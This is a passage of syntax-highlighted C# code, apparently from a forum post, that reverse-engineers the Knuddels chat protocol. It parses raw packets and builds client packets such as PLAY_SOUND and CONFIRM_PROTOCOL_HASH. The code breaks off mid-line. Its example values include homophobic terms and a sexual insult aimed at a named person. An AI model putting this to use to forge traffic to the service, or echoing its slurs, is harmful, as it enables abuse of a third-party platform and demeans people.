#DD0000">"51492634;20;PROTOCOL_HASH;CONFIRM_PROTOCOL_HASH;PROTOCOL_CONFIRMED;PROTOCOL_DATA;CHANGE_PROTOCOL;TEXT;LABEL;CHANNEL_NAME;IMAGE;SOUND;NICK;TITLE;INT_TIME_MILLIS;TIMEOUT_SECONDS;DURATION;INTERVAL;RED;GREEN;BLUE;COLOR;FONTSIZE;INT_ID;INT_HASH;INT_VALUE;SHORT_ID;STRING_ID;VALID;SELECTED;FOCUS;SHORT_TIME_MILLIS;DEFAULT_COLOR;DEFAULT_FONTSIZE;TEXTPANELTEXT;STRING_MAP;CONFIG;STRING_MAP_ENTRY;STRING_KEY;STRING_VALUE;MOUSEX;MOUSEY;EVENT_ID;WINDOW_ID;EVENT;TEXT_COLOR;BACKGROUND_COLOR;TOP_FADE_FROM;MIDDLE_FADE_TO;BOTTOM_SOLID;SPECULAR_SHADING;IS_DIFF;BIN_DATA;ZINDEX;WINDOWX;WINDOWY;WINDOW;FEEDBACK_DOMAIN;FEEDBACK_KEY;SERVER_FEEDBACK;OPENED_FS_ID;FRAMESTRING_CLOSED;FRAMESTRING_NOT_FOUND;FRAMESTRING_INITIALIZE_OPENED;CLASS_NAME;PREFETCH_MODULE;FS_STRING;UPDATE_OPENED_FRAMESTRING;BUTTON;ANALOG_BUTTON;SHOW_BUTTONS;BUTTON_ALIGN;CHAT_FUNCTION;NR_ANALOG_SEGMENTS;SEND_INTERVAL_MILLIS;COOLDOWN_INTERVAL_MILLIS;ICON;SORT_ICON_NICKNAMES_TO_TOP;SHOW_PREFIXICONS;REMOVE_ALL_PREFIXICONS;MODULE_ID;TIMEOUT_SECONDS_TOTAL;TIMEOUT_SECONDS_HURRY_UP;MAX_VOTES;MIN_VOTE_TOKEN_LINES;VOTE_TOKEN;MAX_VISIBLE_LOG_LINES;LOG_LINE;SHOW_BLOOD_BAR;TOKEN_CLICK_TEMPLATE;NR_STATUS_LINES;STATUS_BAR;STATUS_ABOVE_LOG;NO_TEXT_SNIPPING;SHOW_VOTEBOX;VOTE_COUNT;UPDATE_VOTEBOX;SET_VOTEBOX_LOG;SET_VOTEBOX_STATUS;REMOVE_VOTEBOX;FINALIZE_VOTEBOX;UPDATE_VOTEBOX_TIMEOUT;BORDER_COLOR;VOTE_BARS_SETTING;VOTEBOX_BOX_SETTING;VOTEBOX_BUTTON_SETTING;TIMOUT_BAR_SETTING;VOTEBOX_SETTINGS;IMAGE_ID;VOTEBOX_IMAGE_CLICKED_SUCCESS;VOTE_BAR_WIN;VOTE_BAR_FIRST;VOTE_BAR_DRAW_FIRST;VOTE_BAR_REG;VOTE_BAR_LOSE;FOUR_COLOR_BAR;COLOR_TOP_TOP;COLOR_TOP;COLOR_BOT;COLOR_BOT_BOT;TOP_BOX_BACKGROUND_COLOR;TOP_BOX_TEXT_COLOR;MIDDLE_BOX_BACKGROUND_IMAGE;USE_BOLD_VOTE_TOKENS;TIMEOUT_BAR;BAR;SHOW_BARS;BAR_LENGTH_PIXEL;SIMPLE_BAR_UPDATE;BAR_TREND;BUTTON_TREND;ANALOG_TREND;BUTTON_BAR_SETTINGS;HEADER_BOX_TEXT;HEADER_BOX_UPDATE;REMOVE_HEADER_BOX;SEARCH_REQUEST_PARAMETERS;SEARCH_SORT_MODE;RESULT_COUNT_MINIMUM_NEEDED;SEARCH_NEW_REQUEST;AGE_FROM;AGE_TO;GENDER;SEARCH_REASON;SEARCH_TAG;SEARCH_OPTION;SHOW_MEMBERS_NEAR_ME;SHOW_NEW_MEMBERS;SEXUAL_ORIENTATION;OTHERS_FIND_ME_WHEN;UPDATE_FRIENDS;REQUEST_TOP_SEARCH_TAGS;RESULT_COUNT_START_OFFSET;SEARCH_UPDATE_REQUEST;STORE_SEARCH_OPTIONS;LOGIN_NICK;SEARCHER_AGE;SEARCHER_GENDER;SEARCHER_HAS_ZIP_CODE;SEARCHES_FIRST_TIME;OPEN_SEARCH_CHANNEL;RESULT;RESULT_START_INDEX;ESTIMATED_RESULT_COUNT;CLEAR_OLD_RESULTS;SEARCH_RESULT;FRIEND_RESULT;AGE;CURRENT_CHANNEL;IS_AFK;DISTANCE;MATCHING_PERCENT;IS_ONLINE;SEND_HI_OK;MINI_RESULT;SEARCH_RESULTS_CHANGED_ONLINESTATUS;CAME_ONLINE_RESULTS;GONE_OFFLINE_NICKS;FRIEND_RESULT_CHANGED_ONLINESTATUS;SHOW_TOP_SEARCH_TAGS;WHOIS_CONTENT;SHOW_MINIWHOIS;KEY_VALUE;MODULE_INIT;KEY;VALUE;COMMA_SEPARATED_NICK_LIST;INITIAL_TEXT;POST_OLD_MSG_TEXT;CLIENT_PP;IMAGE_PREFETCH;SOUND_PREFETCH;NICKLIST_SORT_TOGETHER;APPSTATS;BINGO_SHEET_ID;BINGO_SHEET_MATRIX_SIZE;BINGO_FIELD_STATES;INDEX;BINGO_PATTERN_ROW_WIDTH;MES_ID;BINGO_GAME_MESSAGE;BINGO_FIELD;BINGO_SHEET_STATE_CONST;BINGO_SHEET;BINGO_PATTERN_REFLECTED;BINGO_PATTERN;BINGO_CALLED_NUMBER;BINGO_FIELD_UPDATE;BINGO_SHEET_UPDATE;BINGO_ROUND;BINGO_HISTORY_UPDATE;BINGO_INIT;BINGO_UPDATE;BINGO_ACTIVE_TEXT;BINGO_ACTIVE_BUTTON_LABEL;BINGO_ACTIVE_BUTTON_COMMAND;BINGO_SET_STATE;FILENAME;PLAY_SOUND;SI_ID;SI_NAME;SI_DESCRIPTION;SI_LEVEL;SI_STOCKCOUNT;SI_COUNTDOWN_TO_REVEAL;SI_COUNTDOWN_TO_OUTOFSTOCK;SI_PRICE_CC;SI_PRICE_KNUDDELS;SI_OWNINGCOUNT;SI_LOCK;SHOP_ITEM;WINDOW_SIZE;SI_DESCRIPTION_LONG;SHOP_ITEM_DETAILS;SHOP_BUTTON;SHOP_MAINTAB;SHOP_BUTTONS;TAB_ID;TAB;SHOP_SUBTABS;TAB_ALIGNMENT;LOGO_IMAGE;SHOP_TITLE;USER_IMAGE;LOCALE;SHOP_USERSTATUS;SHOP_HEADER;UPDATE_SHOP_USERSTATUS;UPDATE_SHOP_ITEM;PERSONAL_HISTORY;NEW_SHOP_ITEMS;RECOMMENDED_SHOP_ITEMS;SHOP_MYSHOP;SHOP_VIEW;SHOP_MYSHOP_ITEM;REFERRAL_INFOTEXT;RESET_SCROLL_POS;SHOP_REFERRALS;SHOP_CLEAR_ITEMCACHE;SHOP_CLOSED;SHOP_REQUEST_ITEM_DETAILS;SHOP_CALL_OTHER;SHOP_REQUEST_ITEMS;INSTANT_WHOIS_CONTENT;SERVE_INSTANT_WHOIS;FORCED_SERVE_INSTANT_WHOIS;PANEL_SETTINGS;CONTENT_AREA_PIXEL_HEIGHT;CONTENT_AREA_PIXEL_WIDTH;IMAGEBOX_ID;SERVE_INSTANT_WHOIS_MISSING_USER;NICKLIST_COLOR;HI_WHOIS;INSTANT_WHOIS_PREFETCH_ITEM;INSTANT_WHOIS_PREFETCH;APPLET_INT_CONFIG_PARAM;APPLET_STRING_CONFIG_PARAM;CONFIGURE_APPLET;APPLET_INT_CONFIG_KEY;APPLET_STRING_CONFIG_KEY;REQUEST_INSTANT_WHOIS;REQUEST_RESPONSE_TIME;VIEW_TIME;INSTANT_WHOIS_STATS;W2_CONTENT;W2_HASHCODES;WAS_REQUESTED;SERVE_W2_NEW_WINDOW;W2_TARGET_WINDOW_ID;SERVE_W2;SERVE_W2_UPDATE;W2_TABS;W2_HEADER;W2_LEFT_COLUMN;W2_SELECTED_CENTER_TAB;W2_CENTER_COLUMN;W2_RIGHT_COLUMN;W2_SELECTED_BG;W2_TAB;SHOW_PARAMETER;W2_PARENTTAB_ID;W2_EDIT_COMMAND;ONLY_CENTER_COLUMN;W2_TARGET_WINDOW_ID_FLAGS;PAGE;CLOSED;FORCE_NO_MISSING;ADMIN_NO_MISSING;SOURCEID;REQUEST_W2;HASH_W2_TABS;HASH_W2_HEADER;HASH_W2_LEFTCOLUMN;HASH_W2_CENTERCOLUMN;HASH_W2_RIGHTCOLUMN;CLOSED_W2;CHANNELS;HI_BOX_ADDLINE;HI_BOX_REMOVE_LINE;HI_BOX_REMOVE_BOX;MESSAGE_OVERVIEW_UPDATE;POST_COUNT_CHANGED;PLZ;USERPLZ;REQUEST_DECODE;DECODE;SERVE_DECODE;PIXEL_URL;DEBUG_NOTIFY_USER;LOAD_TRACKING_PIXEL;SELECTED_ID;ANCHOR_ID;OWNER_NICK;REQUEST_W2EDIT;W2E_ENTRY;SAVE_W2E;ACTIONTYPE;W2E_ACTION;W2E_ACTIONLIST;SUGREQID;SUGTYPE;SUGTOKEN;SUGREQ;SUGRES;W2E_HEADER;MENU_ENTRY;WHOIS2_EDIT;COMPONENT_ID;LAYOUT_ITEM;POSITION;DIMENSION;LAYOUT_ITEM_TYPE;CONTENT;LAYOUT_ITEM_FLAG;LABEL_FONTSIZE;WIDTH;HEIGHT;XPOS;YPOS;SUCCESSFUL;WHOIS2_SAFE_RESULT;GUEST_APPLET_LOADED;STATUS_CODE;GUEST_CREATED;PREFFERED_CHANNEL;LOGIN_GUEST;GUEST_REGISTERED;ELEMENT_CLICKED_SUCCESS;W2GROUP_HEADER;W2GROUP_LEFT_COLUMN;W2GROUP_CENTER_COLUMN;SERVE_W2GROUP;MEMBERTYPE;REQUEST_W2GROUP;FROM_NICK;TO_NICK;SEND_FEEDBACK;WANDERING_KNUDDEL;WANDERING_KNUDDEL_DONE;TAB_NAME;OPEN_ON_LOAD;CLOSE_ON_INSERT;BOX_POSITION;USE_TRANSPARENCY;USE_ANIMATIONS;SB_TABS;SMILEY;SMILEY_SPECIAL;ADVERTISEMENT;SB_TAB;AMOUNT;REPLACEMENT;NAME;FAVORITE;SMILEY_INDEX;FEATURE_CMD;FEATURE_NAME;FEATURE_COOLDOWN;SB_DETAILS;SB_FAVORITE;SB_INVALIDATE;FORCE_PUSH;PUSH_DELAY;START_DV;DV_DATA;DV_SHOW;REQUEST_SB_TABS;REQUEST_SB_TAB;REQUEST_SB_DETAIL;TARGET_REPLACEMENT;REORDER_FAVORITES;STAT;STAT_REPORT;COUNT;HEARTLIGHT;HEARTLIGHT_DONE;NEXT_DATE_MODUL;FUNCTIONS;PARAMS;ACTIVATE_FUNCTIONS;DEACTIVATE_FUNCTIONS;NUM_COCONUTS;GAME_ID;PPS;NEW_COCONUT_GAME;COCONUT_ID;COCONUT_COLLECT;END_COCONUT_GAME;ENABLED;ACTIVE;FOTOMEET;SET_FOREGROUND_IMAGE_BOX;;5;;20;;;9;;23;;13;;13;;13;;13;;13;;13;;13;;4;;4;;4;;4;;2;;2;;2;;36;37;38;;2;;4;;4;;4;;3;;13;;1;;1;;1;;3;;39;;40;;50;51;25;;11;55;12;;53;;56;57;;13;;13;;3;;3;;3;;4;;32;61;43;58;59;60;;39;;39;;39;;39;;39;;65;66;67;;1;;13;;3;;3;;3;;32;61;31;72;73;69;70;71;;3;;13;;27;75;76;53;;13;;78;;78;;11;78;12;;13;;82;33;;13;;78;84;48;;25;28;89;90;;86;91;92;93;;27;11;86;12;11;87;12;;0;;13;;4;;4;;4;;30;11;28;12;;1;;27;11;94;12;95;;27;;13;;4;;4;;4;;4;;25;113;;4;;13;;1;;13;;4;;13;;1;;1;;27;98;31;33;99;100;86;101;102;11;103;12;104;11;105;12;106;107;108;109;110;111;;4;;27;98;103;105;109;;27;98;105;109;;27;98;109;;27;98;;27;98;;27;98;33;;39;;128;129;130;131;132;;63;64;138;139;140;141;;63;120;68;;64;142;;27;98;120;121;122;123;124;;4;;27;98;126;;28;;133;;133;;133;;133;;134;135;136;137;;39;;39;;39;;39;;39;;39;;28;;1;;68;;31;68;145;;27;11;143;12;;3;;145;;68;;68;;68;;27;147;148;149;;13;;98;27;151;;98;27;;158;159;160;11;161;12;11;162;12;11;163;12;164;165;166;11;167;12;;0;;3;;154;155;156;;2;;2;;0;;0;;13;;0;;0;;0;;0;;0;;;;3;;170;156;;154;;30;;2;;160;;1;;1;;27;173;174;175;176;177;154;;30;185;160;186;187;188;189;11;162;12;28;190;191;;4;;4;;1;;11;179;12;180;181;182;;11;179;12;;2;;27;;1;;3;;2;;1;;1;;30;190;;11;192;12;;11;179;12;;11;30;12;;194;195;;11;162;12;;13;;30;198;191;;202;203;;27;98;82;11;200;12;;13;;13;;13;;13;;13;;27;204;205;206;;11;28;12;;11;29;12;;27;11;30;12;;53;;5;;2;;0;;4;;2;;4;;217;25;;3;;0;;212;213;11;219;12;11;214;12;220;;1;;216;11;214;12;222;;13;;215;219;214;;212;11;225;12;11;218;12;;4;;212;224;227;;98;27;221;11;223;12;11;224;12;;98;27;11;226;12;11;223;12;11;218;12;11;228;12;;25;;25;;25;;98;27;212;220;231;232;233;;13;;27;98;235;;4;;13;;13;;2;;4;;33;;33;;6;;6;;2;;13;;237;238;239;240;28;120;241;242;243;244;245;246;247;;3;;52;;120;240;238;249;250;;255;25;40;47;;256;257;;11;252;12;11;253;12;;2;;255;258;25;40;47;11;237;12;;11;256;12;;0;;28;;25;;28;;13;;52;;259;260;254;261;262;263;;263;;11;248;12;;52;;11;237;12;;11;237;12;;264;267;268;269;;264;;264;;52;;1;;264;273;274;;;;237;;255;;11;237;12;;284;52;42;;41;281;;27;30;281;;285;286;287;;3;;3;;13;;41;;39;;27;30;281;289;;30;281;;27;11;291;12;;296;43;;297;57;;11;293;12;11;294;12;;0;;0;;30;27;41;42;;49;;49;;11;299;12;11;300;12;;309;310;311;312;313;314;11;315;12;;46;328;329;330;331;332;;1;;30;302;303;304;;4;;30;306;302;303;304;;30;;11;316;12;;11;52;12;;11;52;12;;45;;11;52;12;;11;52;12;;28;317;;45;318;319;;0;;45;;13;;1;;0;;3;;13;;1;;1;;13;;30;320;312;303;306;321;322;323;324;325;304;326;;4;;4;;4;;4;;4;;30;;11;27;12;;27;30;25;334;;27;30;;27;;48;53;;43;;13;;340;;11;44;12;;44;25;;11;343;12;;13;;1;;345;346;;45;;365;;13;;348;349;350;;45;57;;45;350;11;352;12;;3;;350;354;352;;350;354;11;352;12;;4;;4;;13;;357;358;359;;357;358;11;359;12;;52;;45;28;25;11;366;12;;362;348;349;350;11;363;12;;13;;45;367;368;369;11;370;12;11;371;12;54;26;372;;375;376;;373;374;;0;;13;;0;;40;;3;;3;;3;;3;;1;;45;377;;;3;;380;;13;;382;;;365;126;;52;;52;;52;;45;31;386;387;388;;3;;41;45;390;322;;30;;30;;1;;27;392;393;394;;27;;13;;1;;1;;2;;1;;1;;98;11;397;12;398;399;400;401;402;;28;408;409;410;411;;412;413;414;415;;13;;98;397;11;404;12;11;405;12;406;;2;;13;;13;;1;;3;;13;;13;;5;;98;409;25;;98;409;411;;98;397;;3;;4;;34;35;419;420;45;;11;62;12;11;74;12;;23;11;25;12;;;397;;409;;13;;11;409;12;427;;26;431;;98;11;429;12;;4;;27;393;394;;27;;98;27;25;;13;;13;;11;435;12;11;436;12;;11;435;12;;3;;4;;3;;27;33;439;440;441;;4;;27;11;443;12;;27;;1;;1;;98;446;447;25;;27;25;;:RIGHT;LEFT;;MATCHING;DISTANCE;AGE;SINGLESTATUS;;DOESNT_MATTER;FEMALE;MALE;;TALKING;FRIENDSHIP;FLIRT;MEETING;MARIAGE;EROTIC_TALKING;;ONLY_WITH_FOTO;PREFER_SINGLES;;NORMAL;PREFERRED;NEVER;;NORMAL;PREFERRED;NEVER;;HETERO;HOMO;BI;;THEY_ARE_LONGTERM_MEMBERS;THEY_MATCH_MY_SEARCH_CRITERIA;ONLY_WHILE_I_AM_IN_SEARCH_CHANNEL;NEVER;OFTEN;;ANY_STATE;NOT_SELECTED;SELECTED;DEAD;GLOWING;;ACTIVE;INACTIVE;BINGO;NO_BINGO_POSSIBLE;JACKPOT;GAME_END;;LEFT;RIGHT;;instantWhoisCornerRadius;instantWhoisMillisToRequest;instantWhoisMillisToRequestNickList;instantWhoisMillisToRequestW2;instantWhoisMillisToShow;instantWhoisMillisToHide;instantWhoisMillisToUpdateVisibleRequest;w2WindowWidth;w2WindowHeight;hiBoxWidth;hiBoxBasicHeight;hiBoxLineHeight;hiBoxLineSepHeight;hiBoxDistanceTop;hiBoxDistanceBottom;hiBoxDistanceRight;currentSeason;w2MapWToW2;publicMsgInPP;soundInPP;standAloneSBox;;noKeys;hiBoxBasicContent;hiBoxLineEndText;hiBoxLineSeperatorText;hiBoxBackgroundImageID;w2DefaultTab;imgProxyList;serverId;;FULL;STRETCHED;TILED;;regularTarget;noTarget;newTargetRequested;;TextField;TextPanel;TextArea;Image;Button;CheckBox;ComboBoxSelect;ComboBoxInput;Slider;EMPTY;ComplexGroupInput;ColorBox;ImageBox;TextToolbar;;ShowBulletPoint;TextAlignRight;TextAlignLeft;TextBold;TextItalic;PasswordInput;LabelLocationTop;LabelLocationLeft;LabelLocationRight;LabelLoactionBottom;LabelLocationCenter;LabelBold;LabelItalic;ButtonActionDispose;ButtonActionSubmit;UseImages;AlternativeDisplayMode;ComboBoxFreeInput;ImageHasBorder;DisableHighlightOnInputFocus;Disabled;ScrollingDisabled;SendbackText;NoAdd;;;"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;packet&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">":\0\0}Bingo&nbsp;Solo&nbsp;Freeÿ\0\0\0mafia/bloodbar.gifâ\0ÿÿÿö·¿æ,AÍnÿÿÿÿ·âx\0æ¹þÿíéÏ\0¾Š\0d\0ÿÿÿ¾Ò·@€,\0\0\0ÏÐüÛÿÿÿÿ\0\0\0\0\0\0\0ÛÛÛdd¼¼ûÄzº~RT"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">string&nbsp;bingoPacket&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">":\0\0åBINGOBingo&nbsp;Solo&nbsp;Free\0\0\0\0\0\0M\n\0\0\0\0&amp;\0,\03\0E\0I\0U\0c\0d\0\0\0"</span><span style="color: #007700">\</span><span style="color: #0000BB">0</span><span style="color: #007700">/\</span><span style="color: #0000BB">04</span><span style="color: #007700">\</span><span style="color: #0000BB">0</span><span style="color: #007700">&lt;\</span><span style="color: #0000BB">0G</span><span style="color: #007700">\</span><span style="color: #0000BB">0U</span><span style="color: #007700">\</span><span style="color: #0000BB">0</span><span style="color: #007700">\\\</span><span style="color: #0000BB">0</span><span style="color: #007700">\</span><span style="color: #0000BB">0</span><span style="color: #007700">\</span><span style="color: #0000BB">0</span><span style="color: #007700">\</span><span style="color: #0000BB">0</span><span style="color: #FF8000">#\00\03\0C\0K\0T\0_\0d\0\0\0"\00\07\0D\0J\0Y\0c\0\0\0\0#\0-\09\0?\0O\0Y\0\\\0\0\0\0$\0*\07\0E\0O\0T\0b\0\0\0\0\0*\05\0D\0K\0W\0_\0\0\0\0\0/\05\0C\0J\0W\0`\0\0\0\0&amp;\0,\09\0?\0I\0S\0`\0\0\0\0$\0-\04\0&lt;\0G\0S\0b\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Title&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"Knuddels&nbsp;Reverse"</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;main&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Module</span><span style="color: #007700">.</span><span style="color: #0000BB">StartUp</span><span style="color: #007700">(</span><span style="color: #0000BB">protocolString</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">/*&nbsp;Writing&nbsp;*/<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;------------------------------------------------------------------------------------------------&nbsp;//<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Example&nbsp;1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;playSound&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">CreateModule</span><span style="color: #007700">(</span><span style="color: #DD0000">"PLAY_SOUND"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">playSound</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"CHANNEL_NAME"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Homos"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">playSound</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"MODULE_ID"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Gaylord"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">playSound</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"FILENAME"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"Holgi&nbsp;onaniert.mp3"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;parsedPlaySound&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #DD0000">":\0"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">Encoding</span><span style="color: #007700">.Default.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">playSound</span><span style="color: #007700">)));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Name:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsedPlaySound</span><span style="color: #007700">.</span><span style="color: #0000BB">Name</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"ID:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsedPlaySound</span><span style="color: #007700">.</span><span style="color: #0000BB">ID</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Filename:&nbsp;{0}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">parsedPlaySound</span><span style="color: #007700">.</span><span style="color: #0000BB">GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;(</span><span style="color: #DD0000">"FILENAME"</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"---------------------------------------------\n"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;End&nbsp;of&nbsp;Example&nbsp;1<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;------------------------------------------------------------------------------------------------&nbsp;//<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;Example&nbsp;2<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;confirm&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">CreateModule</span><span style="color: #007700">(</span><span style="color: #DD0000">"CONFIRM_PROTOCOL_HASH"</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;Hier&nbsp;wird&nbsp;das&nbsp;Paket,&nbsp;das&nbsp;zum&nbsp;Server&nbsp;gesendet&nbsp;wird,&nbsp;erzeugt<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">confirm</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #DD0000">"PROTOCOL_HASH"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">long</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">Hash</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;confirmPacket&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Encoding</span><span style="color: #007700">.Default.</span><span style="color: #0000BB">GetString</span><span style="color: #007700">(</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">confirm</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">":\\0"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">confirmPacket</span><span style="color: #007700">.</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\0"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"\\0"</span><span style="color: #007700">).</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"\\n"</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;PARSED&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">main</span><span style="color: #007700">.</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: 